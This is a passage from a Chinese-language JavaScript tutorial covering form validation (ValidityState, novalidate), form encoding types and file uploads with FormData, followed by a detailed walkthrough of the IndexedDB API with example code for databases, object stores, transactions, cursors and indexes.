  • ValidityState.customError:布尔值,表示是否已经调用setCustomValidity()方法,将校验信息设置为一个非空字符串。
  • ValidityState.patternMismatch:布尔值,表示用户输入的值是否不满足模式的要求。
  • ValidityState.rangeOverflow:布尔值,表示用户输入的值是否大于最大范围。
  • ValidityState.rangeUnderflow:布尔值,表示用户输入的值是否小于最小范围。
  • ValidityState.stepMismatch:布尔值,表示用户输入的值不符合步长的设置(即不能被步长值整除)。
  • ValidityState.tooLong:布尔值,表示用户输入的字数超出了最长字数。
  • ValidityState.tooShort:布尔值,表示用户输入的字符少于最短字数。
  • ValidityState.typeMismatch:布尔值,表示用户填入的值不符合类型要求(主要是类型为 Email 或 URL 的情况)。
  • ValidityState.valid:布尔值,表示用户是否满足所有校验条件。
  • ValidityState.valueMissing:布尔值,表示用户没有填入必填的值。

下面是一个例子。

1
2
3
4
5
6
var input = document.getElementById('myinput');
if (input.validity.valid) {
console.log('通过校验');
} else {
console.log('校验失败');
}

下面是另外一个例子。

1
2
3
4
5
var txt = '';
if (document.getElementById('myInput').validity.rangeOverflow) {
txt = '数值超过上限';
}
document.getElementById('prompt').innerHTML = txt;

表单的 novalidate 属性

表单元素的 HTML 属性novalidate,可以关闭浏览器的自动校验。

1
2
<form novalidate>
</form>

这个属性也可以在脚本里设置。

1
form.noValidate = true;

如果表单元素没有设置novalidate属性,那么提交按钮(<button><input>元素)的formnovalidate属性也有同样的作用。

1
2
3
<form>
<input type="submit" value="submit" formnovalidate>
</form>

enctype 属性

表单能够用四种编码,向服务器发送数据。编码格式由表单的enctype属性决定。

假定表单有两个字段,分别是foobaz,其中foo字段的值等于barbaz字段的值是一个分为两行的字符串。

1
2
The first line.
The second line.

下面四种格式,都可以将这个表单发送到服务器。

(1)GET 方法

如果表单使用GET方法发送数据,enctype属性无效。

1
2
3
4
5
6
<form
action="register.php"
method="get"
onsubmit="AJAXSubmit(this); return false;"
>
</form>

数据将以 URL 的查询字符串发出。

1
?foo=bar&baz=The%20first%20line.%0AThe%20second%20line.

(2)application/x-www-form-urlencoded

如果表单用POST方法发送数据,并省略enctype属性,那么数据以application/x-www-form-urlencoded格式发送(因为这是默认值)。

1
2
3
4
5
6
<form
action="register.php"
method="post"
onsubmit="AJAXSubmit(this); return false;"
>
</form>

发送的 HTTP 请求如下。

1
2
3
Content-Type: application/x-www-form-urlencoded

foo=bar&baz=The+first+line.%0D%0AThe+second+line.%0D%0A

上面代码中,数据体里面的%0D%0A代表换行符(\r\n)。

(3)text/plain

如果表单使用POST方法发送数据,enctype属性为text/plain,那么数据将以纯文本格式发送。

1
2
3
4
5
6
7
<form
action="register.php"
method="post"
enctype="text/plain"
onsubmit="AJAXSubmit(this); return false;"
>
</form>

发送的 HTTP 请求如下。

1
2
3
4
5
Content-Type: text/plain

foo=bar
baz=The first line.
The second line.

(4)multipart/form-data

如果表单使用POST方法,enctype属性为multipart/form-data,那么数据将以混合的格式发送。

1
2
3
4
5
6
7
<form
action="register.php"
method="post"
enctype="multipart/form-data"
onsubmit="AJAXSubmit(this); return false;"
>
</form>

发送的 HTTP 请求如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
Content-Type: multipart/form-data; boundary=---------------------------314911788813839

-----------------------------314911788813839
Content-Disposition: form-data; name="foo"

bar
-----------------------------314911788813839
Content-Disposition: form-data; name="baz"

The first line.
The second line.

-----------------------------314911788813839--

这种格式也是文件上传的格式。

文件上传

用户上传文件,也是通过表单。具体来说,就是通过文件输入框选择本地文件,提交表单的时候,浏览器就会把这个文件发送到服务器。

1
<input type="file" id="file" name="myFile">

此外,还需要将表单<form>元素的method属性设为POSTenctype属性设为multipart/form-data。其中,enctype属性决定了 HTTP 头信息的Content-Type字段的值,默认情况下这个字段的值是application/x-www-form-urlencoded,但是文件上传的时候要改成multipart/form-data

1
2
3
4
5
6
7
8
9
<form method="post" enctype="multipart/form-data">
<div>
<label for="file">选择一个文件</label>
<input type="file" id="file" name="myFile" multiple>
</div>
<div>
<input type="submit" id="submit" name="submit_button" value="上传" />
</div>
</form>

上面的 HTML 代码中,file 控件的multiple属性,指定可以一次选择多个文件;如果没有这个属性,则一次只能选择一个文件。

1
2
var fileSelect = document.getElementById('file');
var files = fileSelect.files;

然后,新建一个 FormData 实例对象,模拟发送到服务器的表单数据,把选中的文件添加到这个对象上面。

1
2
3
4
5
6
7
8
9
10
11
12
var formData = new FormData();

for (var i = 0; i < files.length; i++) {
var file = files[i];

// 只上传图片文件
if (!file.type.match('image.*')) {
continue;
}

formData.append('photos[]', file, file.name);
}

最后,使用 Ajax 向服务器上传文件。

1
2
3
4
5
6
7
8
9
10
11
var xhr = new XMLHttpRequest();

xhr.open('POST', 'handler.php', true);

xhr.onload = function () {
if (xhr.status !== 200) {
console.log('An error occurred!');
}
};

xhr.send(formData);

除了发送 FormData 实例,也可以直接 AJAX 发送文件。

1
2
3
4
5
6
var file = document.getElementById('test-input').files[0];
var xhr = new XMLHttpRequest();

xhr.open('POST', 'myserver/uploads');
xhr.setRequestHeader('Content-Type', file.type);
xhr.send(file);

IndexedDB API

概述

随着浏览器的功能不断增强,越来越多的网站开始考虑,将大量数据储存在客户端,这样可以减少从服务器获取数据,直接从本地获取数据。

现有的浏览器数据储存方案,都不适合储存大量数据:Cookie 的大小不超过 4KB,且每次请求都会发送回服务器;LocalStorage 在 2.5MB 到 10MB 之间(各家浏览器不同),而且不提供搜索功能,不能建立自定义的索引。所以,需要一种新的解决方案,这就是 IndexedDB 诞生的背景。

通俗地说,IndexedDB 就是浏览器提供的本地数据库,它可以被网页脚本创建和操作。IndexedDB 允许储存大量数据,提供查找接口,还能建立索引。这些都是 LocalStorage 所不具备的。就数据库类型而言,IndexedDB 不属于关系型数据库(不支持 SQL 查询语句),更接近 NoSQL 数据库。

IndexedDB 具有以下特点。

(1)键值对储存。 IndexedDB 内部采用对象仓库(object store)存放数据。所有类型的数据都可以直接存入,包括 JavaScript 对象。对象仓库中,数据以“键值对”的形式保存,每一个数据记录都有对应的主键,主键是独一无二的,不能有重复,否则会抛出一个错误。

(2)异步。 IndexedDB 操作时不会锁死浏览器,用户依然可以进行其他操作,这与 LocalStorage 形成对比,后者的操作是同步的。异步设计是为了防止大量数据的读写,拖慢网页的表现。

(3)支持事务。 IndexedDB 支持事务(transaction),这意味着一系列操作步骤之中,只要有一步失败,整个事务就都取消,数据库回滚到事务发生之前的状态,不存在只改写一部分数据的情况。

(4)同源限制。 IndexedDB 受到同源限制,每一个数据库对应创建它的域名。网页只能访问自身域名下的数据库,而不能访问跨域的数据库。

(5)储存空间大。 IndexedDB 的储存空间比 LocalStorage 大得多,一般来说不少于 250MB,甚至没有上限。

(6)支持二进制储存。 IndexedDB 不仅可以储存字符串,还可以储存二进制数据(ArrayBuffer 对象和 Blob 对象)。

基本概念

IndexedDB 是一个比较复杂的 API,涉及不少概念。它把不同的实体,抽象成一个个对象接口。学习这个 API,就是学习它的各种对象接口。

  • 数据库:IDBDatabase 对象
  • 对象仓库:IDBObjectStore 对象
  • 索引: IDBIndex 对象
  • 事务: IDBTransaction 对象
  • 操作请求:IDBRequest 对象
  • 指针: IDBCursor 对象
  • 主键集合:IDBKeyRange 对象

下面是一些主要的概念。

(1)数据库

数据库是一系列相关数据的容器。每个域名(严格的说,是协议 + 域名 + 端口)都可以新建任意多个数据库。

IndexedDB 数据库有版本的概念。同一个时刻,只能有一个版本的数据库存在。如果要修改数据库结构(新增或删除表、索引或者主键),只能通过升级数据库版本完成。

(2)对象仓库

每个数据库包含若干个对象仓库(object store)。它类似于关系型数据库的表格。

(3)数据记录

对象仓库保存的是数据记录。每条记录类似于关系型数据库的行,但是只有主键和数据体两部分。主键用来建立默认的索引,必须是不同的,否则会报错。主键可以是数据记录里面的一个属性,也可以指定为一个递增的整数编号。

1
{ id: 1, text: 'foo' }

上面的对象中,id属性可以当作主键。

数据体可以是任意数据类型,不限于对象。

(4)索引

为了加速数据的检索,可以在对象仓库里面,为不同的属性建立索引。

(5)事务

数据记录的读写和删改,都要通过事务完成。事务对象提供errorabortcomplete三个事件,用来监听操作结果。

操作流程

IndexedDB 数据库的各种操作,一般是按照下面的流程进行的。这个部分只给出简单的代码示例,用于快速上手,详细的各个对象的 API 放在后文介绍。

打开数据库

使用 IndexedDB 的第一步是打开数据库,使用indexedDB.open()方法。

1
var request = window.indexedDB.open(databaseName, version);

这个方法接受两个参数,第一个参数是字符串,表示数据库的名字。如果指定的数据库不存在,就会新建数据库。第二个参数是整数,表示数据库的版本。如果省略,打开已有数据库时,默认为当前版本;新建数据库时,默认为1

indexedDB.open()方法返回一个 IDBRequest 对象。这个对象通过三种事件errorsuccessupgradeneeded,处理打开数据库的操作结果。

(1)error 事件

error事件表示打开数据库失败。

1
2
3
request.onerror = function (event) {
console.log('数据库打开报错');
};

(2)success 事件

success事件表示成功打开数据库。

1
2
3
4
5
6
var db;

request.onsuccess = function (event) {
db = request.result;
console.log('数据库打开成功');
};

这时,通过request对象的result属性拿到数据库对象。

(3)upgradeneeded 事件

如果指定的版本号,大于数据库的实际版本号,就会发生数据库升级事件upgradeneeded

1
2
3
4
5
var db;

request.onupgradeneeded = function (event) {
db = event.target.result;
}

这时通过事件对象的target.result属性,拿到数据库实例。

新建数据库

新建数据库与打开数据库是同一个操作。如果指定的数据库不存在,就会新建。不同之处在于,后续的操作主要在upgradeneeded事件的监听函数里面完成,因为这时版本从无到有,所以会触发这个事件。

通常,新建数据库以后,第一件事是新建对象仓库(即新建表)。

1
2
3
4
request.onupgradeneeded = function(event) {
db = event.target.result;
var objectStore = db.createObjectStore('person', { keyPath: 'id' });
}

上面代码中,数据库新建成功以后,新增一张叫做person的表格,主键是id

更好的写法是先判断一下,这张表格是否存在,如果不存在再新建。

1
2
3
4
5
6
7
request.onupgradeneeded = function (event) {
db = event.target.result;
var objectStore;
if (!db.objectStoreNames.contains('person')) {
objectStore = db.createObjectStore('person', { keyPath: 'id' });
}
}

主键(key)是默认建立索引的属性。比如,数据记录是{ id: 1, name: '张三' },那么id属性可以作为主键。主键也可以指定为下一层对象的属性,比如{ foo: { bar: 'baz' } }foo.bar也可以指定为主键。

如果数据记录里面没有合适作为主键的属性,那么可以让 IndexedDB 自动生成主键。

1
2
3
4
var objectStore = db.createObjectStore(
'person',
{ autoIncrement: true }
);

上面代码中,指定主键为一个递增的整数。

新建对象仓库以后,下一步可以新建索引。

1
2
3
4
5
6
request.onupgradeneeded = function(event) {
db = event.target.result;
var objectStore = db.createObjectStore('person', { keyPath: 'id' });
objectStore.createIndex('name', 'name', { unique: false });
objectStore.createIndex('email', 'email', { unique: true });
}

上面代码中,IDBObject.createIndex()的三个参数分别为索引名称、索引所在的属性、配置对象(说明该属性是否包含重复的值)。

新增数据

新增数据指的是向对象仓库写入数据记录。这需要通过事务完成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function add() {
var request = db.transaction(['person'], 'readwrite')
.objectStore('person')
.add({ id: 1, name: '张三', age: 24, email: 'zhangsan@example.com' });

request.onsuccess = function (event) {
console.log('数据写入成功');
};

request.onerror = function (event) {
console.log('数据写入失败');
}
}

add();

上面代码中,写入数据需要新建一个事务。新建时必须指定表格名称和操作模式(“只读”或“读写”)。新建事务以后,通过IDBTransaction.objectStore(name)方法,拿到 IDBObjectStore 对象,再通过表格对象的add()方法,向表格写入一条记录。

写入操作是一个异步操作,通过监听连接对象的success事件和error事件,了解是否写入成功。

读取数据

读取数据也是通过事务完成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function read() {
var transaction = db.transaction(['person']);
var objectStore = transaction.objectStore('person');
var request = objectStore.get(1);

request.onerror = function(event) {
console.log('事务失败');
};

request.onsuccess = function( event) {
if (request.result) {
console.log('Name: ' + request.result.name);
console.log('Age: ' + request.result.age);
console.log('Email: ' + request.result.email);
} else {
console.log('未获得数据记录');
}
};
}

read();

上面代码中,objectStore.get()方法用于读取数据,参数是主键的值。

遍历数据

遍历数据表格的所有记录,要使用指针对象 IDBCursor。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function readAll() {
var objectStore = db.transaction('person').objectStore('person');

objectStore.openCursor().onsuccess = function (event) {
var cursor = event.target.result;

if (cursor) {
console.log('Id: ' + cursor.key);
console.log('Name: ' + cursor.value.name);
console.log('Age: ' + cursor.value.age);
console.log('Email: ' + cursor.value.email);
cursor.continue();
} else {
console.log('没有更多数据了!');
}
};
}

readAll();

上面代码中,新建指针对象的openCursor()方法是一个异步操作,所以要监听success事件。

更新数据

更新数据要使用IDBObject.put()方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function update() {
var request = db.transaction(['person'], 'readwrite')
.objectStore('person')
.put({ id: 1, name: '李四', age: 35, email: 'lisi@example.com' });

request.onsuccess = function (event) {
console.log('数据更新成功');
};

request.onerror = function (event) {
console.log('数据更新失败');
}
}

update();

上面代码中,put()方法自动更新了主键为1的记录。

删除数据

IDBObjectStore.delete()方法用于删除记录。

1
2
3
4
5
6
7
8
9
10
11
function remove() {
var request = db.transaction(['person'], 'readwrite')
.objectStore('person')
.delete(1);

request.onsuccess = function (event) {
console.log('数据删除成功');
};
}

remove();

使用索引

索引的意义在于,可以让你搜索任意字段,也就是说从任意字段拿到数据记录。如果不建立索引,默认只能搜索主键(即从主键取值)。

假定新建表格的时候,对name字段建立了索引。

1
objectStore.createIndex('name', 'name', { unique: false });

现在,就可以从name找到对应的数据记录了。

1
2
3
4
5
6
7
8
9
10
11
12
13
var transaction = db.transaction(['person'], 'readonly');
var store = transaction.objectStore('person');
var index = store.index('name');
var request = index.get('李四');

request.onsuccess = function (e) {
var result = e.target.result;
if (result) {
// ...
} else {
// ...
}
}

indexedDB 对象

浏览器原生提供indexedDB对象,作为开发者的操作接口。

indexedDB.open()

indexedDB.open()方法用于打开数据库。这是一个异步操作,但是会立刻返回一个 IDBOpenDBRequest 对象。

1
var openRequest = window.indexedDB.open('test', 1);

上面代码表示,打开一个名为test、版本为1的数据库。如果该数据库不存在,则会新建该数据库。

open()方法的第一个参数是数据库名称,格式为字符串,不可省略;第二个参数是数据库版本,是一个大于0的正整数(0将报错),如果该参数大于当前版本,会触发数据库升级。第二个参数可省略,如果数据库已存在,将打开当前版本的数据库;如果数据库不存在,将创建该版本的数据库,默认版本为1

打开数据库是异步操作,通过各种事件通知客户端。下面是有可能触发的4种事件。

  • success:打开成功。
  • error:打开失败。
  • upgradeneeded:第一次打开该数据库,或者数据库版本发生变化。
  • blocked:上一次的数据库连接还未关闭。

第一次打开数据库时,会先触发upgradeneeded事件,然后触发success事件。

根据不同的需要,对上面4种事件监听函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var openRequest = indexedDB.open('test', 1);
var db;

openRequest.onupgradeneeded = function (e) {
console.log('Upgrading...');
}

openRequest.onsuccess = function (e) {
console.log('Success!');
db = openRequest.result;
}

openRequest.onerror = function (e) {
console.log('Error');
console.log(e);
}

上面代码有两个地方需要注意。首先,open()方法返回的是一个对象(IDBOpenDBRequest),监听函数就定义在这个对象上面。其次,success事件发生后,从openRequest.result属性可以拿到已经打开的IndexedDB数据库对象。

indexedDB.deleteDatabase()

indexedDB.deleteDatabase()方法用于删除一个数据库,参数为数据库的名字。它会立刻返回一个IDBOpenDBRequest对象,然后对数据库执行异步删除。删除操作的结果会通过事件通知,IDBOpenDBRequest对象可以监听以下事件。

  • success:删除成功
  • error:删除报错
1
2
3
4
5
6
7
8
9
var DBDeleteRequest = window.indexedDB.deleteDatabase('demo');

DBDeleteRequest.onerror = function (event) {
console.log('Error');
};

DBDeleteRequest.onsuccess = function (event) {
console.log('success');
};

调用deleteDatabase()方法以后,当前数据库的其他已经打开的连接都会接收到versionchange事件。

注意,删除不存在的数据库并不会报错。

indexedDB.cmp()

indexedDB.cmp()方法比较两个值是否为 indexedDB 的相同的主键。它返回一个整数,表示比较的结果:0表示相同,1表示第一个主键大于第二个主键,-1表示第一个主键小于第二个主键。

1
window.indexedDB.cmp(1, 2) // -1

注意,这个方法不能用来比较任意的 JavaScript 值。如果参数是布尔值或对象,它会报错。

1
2
window.indexedDB.cmp(1, true) // 报错
window.indexedDB.cmp({}, {}) // 报错

IDBRequest 对象

IDBRequest 对象表示打开的数据库连接,indexedDB.open()方法和indexedDB.deleteDatabase()方法会返回这个对象。数据库的操作都是通过这个对象完成的。

这个对象的所有操作都是异步操作,要通过readyState属性判断是否完成,如果为pending就表示操作正在进行,如果为done就表示操作完成,可能成功也可能失败。

操作完成以后,触发success事件或error事件,这时可以通过result属性和error属性拿到操作结果。如果在pending阶段,就去读取这两个属性,是会报错的。

IDBRequest 对象有以下属性。

  • IDBRequest.readyState:等于pending表示操作正在进行,等于done表示操作正在完成。
  • IDBRequest.result:返回请求的结果。如果请求失败、结果不可用,读取该属性会报错。
  • IDBRequest.error:请求失败时,返回错误对象。
  • IDBRequest.source:返回请求的来源(比如索引对象或 ObjectStore)。
  • IDBRequest.transaction:返回当前请求正在进行的事务,如果不包含事务,返回null
  • IDBRequest.onsuccess:指定success事件的监听函数。
  • IDBRequest.onerror:指定error事件的监听函数。

IDBOpenDBRequest 对象继承了 IDBRequest 对象,提供了两个额外的事件监听属性。

  • IDBOpenDBRequest.onblocked:指定blocked事件(upgradeneeded事件触发时,数据库仍然在使用)的监听函数。
  • IDBOpenDBRequest.onupgradeneededupgradeneeded事件的监听函数。

IDBDatabase 对象

打开数据成功以后,可以从IDBOpenDBRequest对象的result属性上面,拿到一个IDBDatabase对象,它表示连接的数据库。后面对数据库的操作,都通过这个对象完成。

1
2
3
4
5
6
7
8
9
10
11
var db;
var DBOpenRequest = window.indexedDB.open('demo', 1);

DBOpenRequest.onerror = function (event) {
console.log('Error');
};

DBOpenRequest.onsuccess = function(event) {
db = DBOpenRequest.result;
// ...
};

属性

IDBDatabase 对象有以下属性。

  • IDBDatabase.name:字符串,数据库名称。
  • IDBDatabase.version:整数,数据库版本。数据库第一次创建时,该属性为空字符串。
  • IDBDatabase.objectStoreNames:DOMStringList 对象(字符串的集合),包含当前数据的所有 object store 的名字。
  • IDBDatabase.onabort:指定 abort 事件(事务中止)的监听函数。
  • IDBDatabase.onclose:指定 close 事件(数据库意外关闭)的监听函数。
  • IDBDatabase.onerror:指定 error 事件(访问数据库失败)的监听函数。
  • IDBDatabase.onversionchange:数据库版本变化时触发(发生upgradeneeded事件,或调用indexedDB.deleteDatabase())。

下面是objectStoreNames属性的例子。该属性返回一个 DOMStringList 对象,包含了当前数据库所有对象仓库的名称(即表名),可以使用 DOMStringList 对象的contains方法,检查数据库是否包含某个对象仓库。

1
2
3
if (!db.objectStoreNames.contains('firstOS')) {
db.createObjectStore('firstOS');
}

上面代码先判断某个对象仓库是否存在,如果不存在就创建该对象仓库。

方法

IDBDatabase 对象有以下方法。

  • IDBDatabase.close():关闭数据库连接,实际会等所有事务完成后再关闭。
  • IDBDatabase.createObjectStore():创建存放数据的对象仓库,类似于传统关系型数据库的表格,返回一个 IDBObjectStore 对象。该方法只能在versionchange事件监听函数中调用。
  • IDBDatabase.deleteObjectStore():删除指定的对象仓库。该方法只能在versionchange事件监听函数中调用。
  • IDBDatabase.transaction():返回一个 IDBTransaction 事务对象。

下面是createObjectStore()方法的例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
var request = window.indexedDB.open('demo', 2);

request.onupgradeneeded = function (event) {
var db = event.target.result;

db.onerror = function(event) {
console.log('error');
};

var objectStore = db.createObjectStore('items');

// ...
};

上面代码创建了一个名为items的对象仓库,如果该对象仓库已经存在,就会抛出一个错误。为了避免出错,需要用到下文的objectStoreNames属性,检查已有哪些对象仓库。

createObjectStore()方法还可以接受第二个对象参数,用来设置对象仓库的属性。

1
2
db.createObjectStore('test', { keyPath: 'email' });
db.createObjectStore('test2', { autoIncrement: true });

上面代码中,keyPath属性表示主键(由于主键的值不能重复,所以上例存入之前,必须保证数据的email属性值都是不一样的),默认值为nullautoIncrement属性表示,是否使用自动递增的整数作为主键(第一个数据记录为1,第二个数据记录为2,以此类推),默认为false。一般来说,keyPathautoIncrement属性只要使用一个就够了,如果两个同时使用,表示主键为递增的整数,且对象不得缺少keyPath指定的属性。

下面是deleteObjectStore()方法的例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var dbName = 'sampleDB';
var dbVersion = 2;
var request = indexedDB.open(dbName, dbVersion);

request.onupgradeneeded = function(e) {
var db = request.result;
if (e.oldVersion < 1) {
db.createObjectStore('store1');
}

if (e.oldVersion < 2) {
db.deleteObjectStore('store1');
db.createObjectStore('store2');
}

// ...
};

下面是transaction()方法的例子,该方法用于创建一个数据库事务,返回一个 IDBTransaction 对象。向数据库添加数据之前,必须先创建数据库事务。

1
var t = db.transaction(['items'], 'readwrite');

transaction()方法接受两个参数:第一个参数是一个数组,里面是所涉及的对象仓库,通常是只有一个;第二个参数是一个表示操作类型的字符串。目前,操作类型只有两种:readonly(只读)和readwrite(读写)。添加数据使用readwrite,读取数据使用readonly。第二个参数是可选的,省略时默认为readonly模式。

IDBObjectStore 对象

IDBObjectStore 对象对应一个对象仓库(object store)。IDBDatabase.createObjectStore()方法返回的就是一个 IDBObjectStore 对象。

IDBDatabase 对象的transaction()返回一个事务对象,该对象的objectStore()方法返回 IDBObjectStore 对象,因此可以采用下面的链式写法。

1
2
3
4
db.transaction(['test'], 'readonly')
.objectStore('test')
.get(X)
.onsuccess = function (e) {}

属性

IDBObjectStore 对象有以下属性。

  • IDBObjectStore.indexNames:返回一个类似数组的对象(DOMStringList),包含了当前对象仓库的所有索引。
  • IDBObjectStore.keyPath:返回当前对象仓库的主键。
  • IDBObjectStore.name:返回当前对象仓库的名称。
  • IDBObjectStore.transaction:返回当前对象仓库所属的事务对象。
  • IDBObjectStore.autoIncrement:布尔值,表示主键是否会自动递增。

方法

IDBObjectStore 对象有以下方法。

(1)IDBObjectStore.add()

IDBObjectStore.add()用于向对象仓库添加数据,返回一个 IDBRequest 对象。该方法只用于添加数据,如果主键相同会报错,因此更新数据必须使用put()方法。

1
objectStore.add(value, key)

该方法接受两个参数,第一个参数是键值,第二个参数是主键,该参数可选,如果省略默认为null

创建事务以后,就可以获取对象仓库,然后使用add()方法往里面添加数据了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
var db;
var DBOpenRequest = window.indexedDB.open('demo', 1);

DBOpenRequest.onsuccess = function (event) {
db = DBOpenRequest.result;
var transaction = db.transaction(['items'], 'readwrite');

transaction.oncomplete = function (event) {
console.log('transaction success');
};

transaction.onerror = function (event) {
console.log('transaction error: ' + transaction.error);
};

var objectStore = transaction.objectStore('items');
var objectStoreRequest = objectStore.add({ foo: 1 });

objectStoreRequest.onsuccess = function (event) {
console.log('add data success');
};

};

(2)IDBObjectStore.put()

IDBObjectStore.put()方法用于更新某个主键对应的数据记录,如果对应的键值不存在,则插入一条新的记录。该方法返回一个 IDBRequest 对象。

1
objectStore.put(item, key)

该方法接受两个参数,第一个参数为新数据,第二个参数为主键,该参数可选,且只在自动递增时才有必要提供,因为那时主键不包含在数据值里面。

(3)IDBObjectStore.clear()

IDBObjectStore.clear()删除当前对象仓库的所有记录。该方法返回一个 IDBRequest 对象。

1
objectStore.clear()

该方法不需要参数。

(4)IDBObjectStore.delete()

IDBObjectStore.delete()方法用于删除指定主键的记录。该方法返回一个 IDBRequest 对象。

1
objectStore.delete(Key)

该方法的参数为主键的值。

(5)IDBObjectStore.count()

IDBObjectStore.count()方法用于计算记录的数量。该方法返回一个 IDBRequest 对象。

1
IDBObjectStore.count(key)

不带参数时,该方法返回当前对象仓库的所有记录数量。如果主键或 IDBKeyRange 对象作为参数,则返回对应的记录数量。

(6)IDBObjectStore.getKey()

IDBObjectStore.getKey()用于获取主键。该方法返回一个 IDBRequest 对象。

1
objectStore.getKey(key)

该方法的参数可以是主键值或 IDBKeyRange 对象。

(7)IDBObjectStore.get()

IDBObjectStore.get()用于获取主键对应的数据记录。该方法返回一个 IDBRequest 对象。

1
objectStore.get(key)

(8)IDBObjectStore.getAll()

DBObjectStore.getAll()用于获取对象仓库的记录。该方法返回一个 IDBRequest 对象。

1
2
3
4
5
6
7
8
// 获取所有记录
objectStore.getAll()

// 获取所有符合指定主键或 IDBKeyRange 的记录
objectStore.getAll(query)

// 指定获取记录的数量
objectStore.getAll(query, count)

(9)IDBObjectStore.getAllKeys()

IDBObjectStore.getAllKeys()用于获取所有符合条件的主键。该方法返回一个 IDBRequest 对象。

1
2
3
4
5
6
7
8
// 获取所有记录的主键
objectStore.getAllKeys()

// 获取所有符合条件的主键
objectStore.getAllKeys(query)

// 指定获取主键的数量
objectStore.getAllKeys(query, count)

(10)IDBObjectStore.index()

IDBObjectStore.index()方法返回指定名称的索引对象 IDBIndex。

1
objectStore.index(name)

有了索引以后,就可以针对索引所在的属性读取数据。

1
2
3
4
5
var t = db.transaction(['people'], 'readonly');
var store = t.objectStore('people');
var index = store.index('name');

var request = index.get('foo');

上面代码打开对象仓库以后,先用index()方法指定获取name属性的索引,然后用get()方法读取某个name属性(foo)对应的数据。如果name属性不是对应唯一值,这时get()方法有可能取回多个数据对象。另外,get()是异步方法,读取成功以后,只能在success事件的监听函数中处理数据。

(11)IDBObjectStore.createIndex()

IDBObjectStore.createIndex()方法用于新建当前数据库的一个索引。该方法只能在VersionChange监听函数里面调用。

1
objectStore.createIndex(indexName, keyPath, objectParameters)

该方法可以接受三个参数。

  • indexName:索引名
  • keyPath:主键
  • objectParameters:配置对象(可选)

第三个参数可以配置以下属性。

  • unique:如果设为true,将不允许重复的值
  • multiEntry:如果设为true,对于有多个值的主键数组,每个值将在索引里面新建一个条目,否则主键数组对应一个条目。

假定对象仓库中的数据记录都是如下的person类型。

1
2
3
4
5
var person = {
name: name,
email: email,
created: new Date()
};

可以指定这个对象的某个属性来建立索引。

1
2
3
4
var store = db.createObjectStore('people', { autoIncrement: true });

store.createIndex('name', 'name', { unique: false });
store.createIndex('email', 'email', { unique: true });

上面代码告诉索引对象,name属性不是唯一值,email属性是唯一值。

(12)IDBObjectStore.deleteIndex()

IDBObjectStore.deleteIndex()方法用于删除指定的索引。该方法只能在VersionChange监听函数里面调用。

1
objectStore.deleteIndex(indexName)

(13)IDBObjectStore.openCursor()

IDBObjectStore.openCursor()用于获取一个指针对象。

1
IDBObjectStore.openCursor()

指针对象可以用来遍历数据。该对象也是异步的,有自己的successerror事件,可以对它们指定监听函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
var t = db.transaction(['test'], 'readonly');
var store = t.objectStore('test');

var cursor = store.openCursor();

cursor.onsuccess = function (event) {
var res = event.target.result;
if (res) {
console.log('Key', res.key);
console.dir('Data', res.value);
res.continue();
}
}

监听函数接受一个事件对象作为参数,该对象的target.result属性指向当前数据记录。该记录的keyvalue分别返回主键和键值(即实际存入的数据)。continue()方法将光标移到下一个数据对象,如果当前数据对象已经是最后一个数据了,则光标指向null

openCursor()方法的第一个参数是主键值,或者一个 IDBKeyRange 对象。如果指定该参数,将只处理包含指定主键的记录;如果省略,将处理所有的记录。该方法还可以接受第二个参数,表示遍历方向,默认值为next,其他可能的值为prevnextuniqueprevunique。后两个值表示如果遇到重复值,会自动跳过。

(14)IDBObjectStore.openKeyCursor()

IDBObjectStore.openKeyCursor()用于获取一个主键指针对象。

1
IDBObjectStore.openKeyCursor()

IDBTransaction 对象

IDBTransaction 对象用来异步操作数据库事务,所有的读写操作都要通过这个对象进行。

IDBDatabase.transaction()方法返回的就是一个 IDBTransaction 对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
var db;
var DBOpenRequest = window.indexedDB.open('demo', 1);

DBOpenRequest.onsuccess = function(event) {
db = DBOpenRequest.result;
var transaction = db.transaction(['demo'], 'readwrite');

transaction.oncomplete = function (event) {
console.log('transaction success');
};

transaction.onerror = function (event) {
console.log('transaction error: ' + transaction.error);
};

var objectStore = transaction.objectStore('demo');
var objectStoreRequest = objectStore.add({ foo: 1 });

objectStoreRequest.onsuccess = function (event) {
console.log('add data success');
};

};

事务的执行顺序是按照创建的顺序,而不是发出请求的顺序。

1
2
3
4
5
6
var trans1 = db.transaction('foo', 'readwrite');
var trans2 = db.transaction('foo', 'readwrite');
var objectStore2 = trans2.objectStore('foo')
var objectStore1 = trans1.objectStore('foo')
objectStore2.put('2', 'key');
objectStore1.put('1', 'key');

上面代码中,key对应的键值最终是2,而不是1。因为事务trans1先于trans2创建,所以首先执行。

注意,事务有可能失败,只有监听到事务的complete事件,才能保证事务操作成功。

IDBTransaction 对象有以下属性。

  • IDBTransaction.db:返回当前事务所在的数据库对象 IDBDatabase。
  • IDBTransaction.error:返回当前事务的错误。如果事务没有结束,或者事务成功结束,或者被手动终止,该方法返回null
  • IDBTransaction.mode:返回当前事务的模式,默认是readonly(只读),另一个值是readwrite
  • IDBTransaction.objectStoreNames:返回一个类似数组的对象 DOMStringList,成员是当前事务涉及的对象仓库的名字。
  • IDBTransaction.onabort:指定abort事件(事务中断)的监听函数。
  • IDBTransaction.oncomplete:指定complete事件(事务成功)的监听函数。
  • IDBTransaction.onerror:指定error事件(事务失败)的监听函数。

IDBTransaction 对象有以下方法。

  • IDBTransaction.abort():终止当前事务,回滚所有已经进行的变更。
  • IDBTransaction.objectStore(name):返回指定名称的对象仓库 IDBObjectStore。

IDBIndex 对象

IDBIndex 对象代表数据库的索引,通过这个对象可以获取数据库里面的记录。数据记录的主键默认就是带有索引,IDBIndex 对象主要用于通过除主键以外的其他键,建立索引获取对象。

IDBIndex 是持久性的键值对存储。只要插入、更新或删除数据记录,引用的对象库中的记录,索引就会自动更新。

IDBObjectStore.index()方法可以获取 IDBIndex 对象。

1
2
3
